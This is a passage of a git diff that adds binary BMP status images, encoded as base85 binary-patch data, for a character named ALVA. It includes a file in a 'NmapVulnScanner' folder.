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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner1.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..939dc2e307a42fd6db211d3c2e3c07a6dfee2e32 GIT binary patch literal 18462 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 